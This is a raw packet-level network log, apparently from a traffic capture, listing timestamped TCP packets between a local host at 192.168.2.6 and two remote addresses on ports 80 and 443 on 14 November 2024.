Nov 14, 2024 17:24:40.168881893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168893099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168905020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168914080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168920994 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168924093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168934107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168943882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168946028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168952942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168956995 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168965101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168976068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168979883 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.168986082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.168997049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169022083 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169601917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169611931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169631004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169796944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169807911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169816971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169825077 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169826984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169836998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169847012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169851065 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169857025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169866085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169872999 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169877052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169887066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169891119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169897079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169908047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169917107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169926882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.169948101 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.169948101 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.170057058 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.170948029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.170959949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.170969963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.170981884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.170990944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171004057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171013117 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171015024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171025991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171026945 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171035051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171039104 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171046972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171056032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171061993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171066046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171073914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171082020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171084881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171096087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171106100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171111107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171122074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171127081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171127081 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171174049 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171680927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171693087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171703100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171714067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171724081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171734095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171741009 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171745062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171757936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171766996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171773911 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171773911 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171778917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171789885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171798944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171809912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171816111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.171819925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171829939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171839952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.171847105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.172029972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.172566891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172579050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172586918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172596931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172606945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172616959 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172624111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.172627926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172637939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172647953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172657013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:40.172662973 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.172703028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.172703028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.175421000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:40.313709021 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.314353943 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.314407110 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.315753937 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.315769911 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.326643944 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.327445984 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.327454090 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.327605963 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.327609062 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.452081919 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.452173948 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.452301025 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.452423096 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.452553988 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.452553988 CET	49847	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.452589989 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.452619076 CET	443	49847	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.456989050 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.457026958 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457051992 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.457175970 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.457262993 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457263947 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457669020 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457684040 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.457715034 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457715034 CET	49848	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.457726955 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.457743883 CET	443	49848	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.460186005 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.460220098 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.463887930 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.463887930 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.463927984 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.536721945 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.537347078 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.537364006 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.539614916 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.539619923 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.552820921 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.553306103 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.553330898 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.553867102 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.553888083 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.569406986 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.571336985 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.571372032 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.571424007 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.571440935 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.679752111 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.679795980 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.679888010 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.680490971 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.680490971 CET	49850	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.680500031 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.680507898 CET	443	49850	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.683753014 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.683783054 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.683911085 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.684154987 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.684170008 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.684648991 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.684938908 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.684983015 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.685025930 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.685301065 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.685301065 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.685301065 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.689030886 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.689085960 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.689241886 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.689475060 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.689490080 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.700346947 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.700423002 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.700531960 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.700764894 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.700764894 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.700795889 CET	49851	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.700813055 CET	443	49851	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.703408003 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.703437090 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.703809023 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.703959942 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.703973055 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:40.906332016 CET	49849	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:40.906364918 CET	443	49849	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.210995913 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.211616993 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.211635113 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.212167978 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.212173939 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.288697004 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.289550066 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.289613962 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.289908886 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.289917946 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.401026011 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.401201010 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.401257992 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.401478052 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.401478052 CET	49853	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.401504040 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.401515007 CET	443	49853	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.405335903 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.405369043 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.405431986 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.405728102 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.405741930 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.422931910 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.423106909 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.423258066 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.423470020 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.423485994 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.423499107 CET	49852	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.423504114 CET	443	49852	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.427103996 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.427148104 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.427222013 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.427377939 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.427385092 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.431914091 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.432321072 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.432332039 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.432873011 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.432877064 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.450818062 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.451664925 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.451688051 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.452446938 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.452452898 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.588255882 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.588293076 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.588418007 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.588674068 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.588686943 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.588707924 CET	49854	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.588716030 CET	443	49854	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.591902971 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.591916084 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.591981888 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.592288971 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.592300892 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.647957087 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.648612976 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.648649931 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.649152994 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.649158955 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.657526016 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.657557011 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.657603979 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.657604933 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.657660961 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.658005953 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.658030987 CET	49855	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.658030033 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.658036947 CET	443	49855	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.662101030 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.662147045 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.662250042 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.662516117 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.662530899 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.776406050 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.776557922 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.776616096 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.776859999 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.776870966 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.776880980 CET	49856	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.776885033 CET	443	49856	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.780510902 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.780519009 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:41.780580044 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.780741930 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:41.780752897 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.175956964 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.176582098 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.176599979 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.177793026 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.177797079 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.306592941 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.307668924 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.307668924 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.307689905 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.307706118 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.311645985 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.311816931 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.311975002 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.311975002 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.312282085 CET	49858	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.312292099 CET	443	49858	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.315093040 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.315126896 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.315315008 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.315469027 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.315483093 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.339212894 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.340239048 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.340239048 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.340251923 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.340259075 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.417999983 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.418502092 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.418531895 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.419681072 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.419686079 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.465104103 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.465464115 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.465575933 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.465620995 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.465769053 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.465822935 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.465822935 CET	49857	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.465831995 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.465838909 CET	443	49857	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.471406937 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.471431971 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.471685886 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.472232103 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.472245932 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.497378111 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.497436047 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.499608994 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.499608994 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.499676943 CET	49859	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.499691010 CET	443	49859	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.502643108 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.502729893 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.502804041 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.503002882 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.503034115 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.549640894 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.549679995 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.549915075 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.549915075 CET	49860	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.549984932 CET	49860	443	192.168.2.6	13.107.246.45
